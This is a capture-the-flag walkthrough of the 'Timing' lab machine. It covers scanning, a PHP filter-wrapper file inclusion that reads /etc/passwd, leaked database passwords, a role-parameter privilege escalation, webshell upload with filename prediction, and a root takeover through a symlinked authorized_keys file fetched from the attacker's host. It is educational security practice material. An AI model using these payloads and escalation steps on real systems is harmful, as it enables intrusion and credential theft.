8 minutes
Timing
Enumeration
nmap
TCP
Nmap 7.92 scan initiated Mon Jan 24 08:52:42 2022 as: nmap -sCV -p22,80 -oN nmap_tcp 10.129.223.11
Nmap scan report for 10.129.223.11
Host is up (0.033s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 d2:5c:40:d7:c9:fe:ff:a8:83:c3:6e:cd:60:11:d2:eb (RSA)
| 256 18:c9:f7:b9:27:36:a1:16:59:23:35:84:34:31:b3:ad (ECDSA)
|_ 256 a2:2d:ee:db:4e:bf:f9:3f:8b:d4:cf:b4:12:d8:20:f2 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
| http-title: Simple WebApp
|_Requested resource was ./login.php
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Jan 24 08:52:53 2022 -- 1 IP address (1 host up) scanned in 10.61 seconds
UDP
# Nmap 7.92 scan initiated Mon Jan 24 08:53:04 2022 as: nmap -sU -oN nmap_udp 10.129.223.11
Nmap scan report for 10.129.223.11
Host is up (0.066s latency).
Not shown: 999 closed udp ports (port-unreach)
PORT STATE SERVICE
68/udp open|filtered dhcpc
# Nmap done at Mon Jan 24 09:10:08 2022 -- 1 IP address (1 host up) scanned in 1024.67 seconds
Web
gobuster dir -u http://timing.htb -w /opt/SecLists/Discovery/Web-Content/raft-large-directories.txt -x php,txt,bak,conf,zip,tar,xml -o htb/timing/gobuster_root.out
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://timing.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /opt/SecLists/Discovery/Web-Content/raft-large-directories.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Extensions: tar,xml,php,txt,bak,conf,zip
[+] Timeout: 10s
===============================================================
2022/01/24 08:57:46 Starting gobuster in directory enumeration mode
===============================================================
/images (Status: 301) [Size: 309] [--> http://timing.htb/images/]
/js (Status: 301) [Size: 305] [--> http://timing.htb/js/]
/css (Status: 301) [Size: 306] [--> http://timing.htb/css/]
/login.php (Status: 200) [Size: 5609]
/logout.php (Status: 302) [Size: 0] [--> ./login.php]
/upload.php (Status: 302) [Size: 0] [--> ./login.php]
/image.php (Status: 200) [Size: 0]
/profile.php (Status: 302) [Size: 0] [--> ./login.php]
/index.php (Status: 302) [Size: 0] [--> ./login.php]
/header.php (Status: 302) [Size: 0] [--> ./login.php]
/footer.php (Status: 200) [Size: 3937]
/server-status (Status: 403) [Size: 275]
/db_conn.php (Status: 200) [Size: 0]
From the results of gobuster
we notice that two pages responds with 200
.
If we begin with trying to fuzz potential parameters on image.php
we get an interesting response when doing GET /image.php?img=//etc/passwd
.
HTTP/1.1 200 OK
Date: Mon, 24 Jan 2022 08:21:26 GMT
Server: Apache/2.4.29 (Ubuntu)
Content-Length: 25
Connection: close
Content-Type: text/html; charset=UTF-8
Hacking attempt detected!
We are able to use php wrappers to bypass the protection
/image.php?img=php://filter/convert.base64-encode/resource=//etc/passwd
/etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
mysql:x:111:114:MySQL Server,,,:/nonexistent:/bin/false
aaron:x:1000:1000:aaron:/home/aaron:/bin/bash
If we request db_conn.php
we get a set of credentials
<?php
$pdo = new PDO('mysql:host=localhost;dbname=app', 'root', '4_V3Ry_l0000n9_p422w0rd');
We try using these creds along with different variations of the username, but with no success.
Another interesting file is upload.php
<?php
include("admin_auth_check.php");
$upload_dir = "images/uploads/";
if (!file_exists($upload_dir)) {
mkdir($upload_dir, 0777, true);
}
$file_hash = uniqid();
$file_name = md5('$file_hash' . time()) . '_' . basename($_FILES["fileToUpload"]["name"]);
$target_file = $upload_dir . $file_name;
$error = "";
$imageFileType = strtolower(pathinfo($target_file, PATHINFO_EXTENSION));
if (isset($_POST["submit"])) {
$check = getimagesize($_FILES["fileToUpload"]["tmp_name"]);
if ($check === false) {
$error = "Invalid file";
}
}
// Check if file already exists
if (file_exists($target_file)) {
$error = "Sorry, file already exists.";
}
if ($imageFileType != "jpg") {
$error = "This extension is not allowed.";
}
if (empty($error)) {
if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
echo "The file has been uploaded.";
} else {
echo "Error: There was an error uploading your file.";
}
} else {
echo "Error: " . $error;
}
?>
We notice that upload.php
included admin_auth_check.php
<?php
include_once "auth_check.php";
if (!isset($_SESSION['role']) || $_SESSION['role'] != 1) {
echo "No permission to access this panel!";
header('Location: ./index.php');
die();
}
?>
After some guessing, we manage to login with the user aaron:aaron
on the webpage.
We prompted with a greeting stating that we are logged in as user 2.
If we look at index.php
we notice that it echoes the userid
tied with the session
<?php
include_once "header.php";
?>
<h1 class="text-center" style="padding: 200px">You are logged in as user <?php echo $_SESSION['userid']; ?>!</h1>
<?php
include_once "footer.php";
?>
The only thing that we are able to do from this user is to edit our profile
We capture the request and notice it being made towards /profile_update.php
<?php
include "auth_check.php";
$error = "";
if (empty($_POST['firstName'])) {
$error = 'First Name is required.';
} else if (empty($_POST['lastName'])) {
$error = 'Last Name is required.';
} else if (empty($_POST['email'])) {
$error = 'Email is required.';
} else if (empty($_POST['company'])) {
$error = 'Company is required.';
}
if (!empty($error)) {
die("Error updating profile, reason: " . $error);
} else {
include "db_conn.php";
$id = $_SESSION['userid'];
$statement = $pdo->prepare("SELECT * FROM users WHERE id = :id");
$result = $statement->execute(array('id' => $id));
$user = $statement->fetch();
if ($user !== false) {
ini_set('display_errors', '1');
ini_set('display_startup_errors', '1');
error_reporting(E_ALL);
$firstName = $_POST['firstName'];
$lastName = $_POST['lastName'];
$email = $_POST['email'];
$company = $_POST['company'];
$role = $user['role'];
if (isset($_POST['role'])) {
$role = $_POST['role'];
$_SESSION['role'] = $role;
}
// dont persist role
$sql = "UPDATE users SET firstName='$firstName', lastName='$lastName', email='$email', company='$company' WHERE id=$id";
$stmt = $pdo->prepare($sql);
$stmt->execute();
$statement = $pdo->prepare("SELECT * FROM users WHERE id = :id");
$result = $statement->execute(array('id' => $id));
$user = $statement->fetch();
// but return it to avoid confusion
$user['role'] = $role;
$user['6'] = $role;
echo json_encode($user, JSON_PRETTY_PRINT);
} else {
echo "No user with this id was found.";
}
}
?>
The interesting part is
if (isset($_POST['role'])) {
$role = $_POST['role'];
$_SESSION['role'] = $role;
}
If the role
variable is not set, then it will be equal to whatever the value submitted in the POST request is.
POST /profile_update.php HTTP/1.1
Host: timing.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-type: application/x-www-form-urlencoded
Content-Length: 59
Origin: http://timing.htb
Connection: close
Referer: http://timing.htb/profile.php
Cookie: PHPSESSID=m14cqskhbjdd41q7d9qolf5nf5
firstName=test&lastName=test&email=test&company=test&role=1
And the server’s response
HTTP/1.1 200 OK
Date: Mon, 24 Jan 2022 13:50:36 GMT
Server: Apache/2.4.29 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 419
Connection: close
Content-Type: text/html; charset=UTF-8
{
"id": "2",
"0": "2",
"username": "aaron",
"1": "aaron",
"password": "$2y$10$kbs9MM.M8G.aquRLu53QYO.9tZNFvALOIAb3LwLggUs58OH5mVUFq",
"2": "$2y$10$kbs9MM.M8G.aquRLu53QYO.9tZNFvALOIAb3LwLggUs58OH5mVUFq",
"lastName": "test",
"3": "test",
"firstName": "test",
"4": "test",
"email": "test",
"5": "test",
"role": "1",
"6": "1",
"company": "test",
"7": "test"
}
With role
being set to 1
we have access to the Admin Panel. Once we press that we get access to upload_avatar
We need to synch our time with the remote server in order to have our file name of the uploaded file to match the remote one.
date -s $(curl -s --head http://timing.htb | grep ^Date: | sed 's/Date: //g' | awk '{print $5}')
Next, we make a short php script that will echo the potential file name
<?php
$file_hash = uniqid();
$file_name = md5('$file_hash' . time()) . '_' . 'test';
echo "File name should be " . $file_name . PHP_EOL;
echo ""
?>
Finally, we run :
while true; do php hash.php; done
[..]
File name should be c8a80ac7c12f14312a6e2d30fb072c26_test
And we are able to figure out the file name.
After speaking with some fellow hackers, I wasn’t able to achieve command execution with a normal <?php system($_GET['cmd']);?>
which others were able to achieve.
Nevertheless, doing system('whoami')
works.
After getting a hint of looking into /opt
, we do and observe
source_backup_files.zip`.
We can base64 encode this via the LFI vulnerability and then decode it locally on our machine to get the contents.
After unzipping the file we notice that it is a git repo. We check the different commits and notice a change of DB password
git show 16de2698b5b122c93461298eab730d00273bd83e
commit 16de2698b5b122c93461298eab730d00273bd83e (HEAD -> master)
Author: grumpy <grumpy@localhost.com>
Date: Tue Jul 20 22:34:13 2021 +0000
db_conn updated
diff --git a/db_conn.php b/db_conn.php
index f1c9217..5397ffa 100644
--- a/db_conn.php
+++ b/db_conn.php
@@ -1,2 +1,2 @@
<?php
-$pdo = new PDO('mysql:host=localhost;dbname=app', 'root', 'S3cr3t_unGu3ss4bl3_p422w0Rd');
+$pdo = new PDO('mysql:host=localhost;dbname=app', 'root', '4_V3Ry_l0000n9_p422w0rd');
With the db password we gain access as aaron
via ssh.
aaron@timing:~$ cat user.txt
ae57cefedb4745a90365961de2e8f8ed
Looking at the sudo privileges, we find something interesting
aaron@timing:~$ sudo -l
Matching Defaults entries for aaron on timing:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User aaron may run the following commands on timing:
(ALL) NOPASSWD: /usr/bin/netutils
aaron@timing:~$ cat /usr/bin/netutils
#! /bin/bash
java -jar /root/netutils.jar
If we run this the script
aaron@timing:~$ sudo /usr/bin/netutils
netutils v0.1
Select one option:
[0] FTP
[1] HTTP
[2] Quit
Input >>
It gives us different options. If we select [1]
we can enter an URL
Input >> 1
Enter Url: http://10.10.14.2/test.txt
Initializing download: http://10.10.14.2/test.txt
File size: 5 bytes
Opening output file test.txt
Server unsupported, starting from scratch with one connection.
Starting download
Downloaded 5 byte in 0 seconds. (0.05 KB/s)
Looking at the files on our directory, we see that the file is owned by root
-rw-r--r-- 1 root root 5 Apr 4 07:05 test.txt
If we try to write a symbolic link to /root/.ssh/authorized_keys
to our public key, we can perhaps ssh with that to root
aaron@timing:~$ ln -s /root/.ssh/authorized_keys id_rsa
aaron@timing:~$
Enter Url: http://10.10.14.2/id_rsa
Initializing download: http://10.10.14.2/id_rsa
File size: 565 bytes
Opening output file id_rsa
Server unsupported, starting from scratch with one connection.
Starting download
htb ssh -i ~/.ssh/id_rsa root@10.129.227.108
Welcome to Ubuntu 18.04.6 LTS (GNU/Linux 4.15.0-147-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Mon Apr 4 07:12:42 UTC 2022
System load: 0.0 Processes: 174
Usage of /: 49.2% of 4.85GB Users logged in: 1
Memory usage: 16% IP address for eth0: 10.129.227.108
Swap usage: 0%
8 updates can be applied immediately.
8 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
root@timing:~# ls
axel netutils.jar root.txt
root@timing:~# cat root.txt
1aa9ed9b9ea836de44bb66aee0c474d7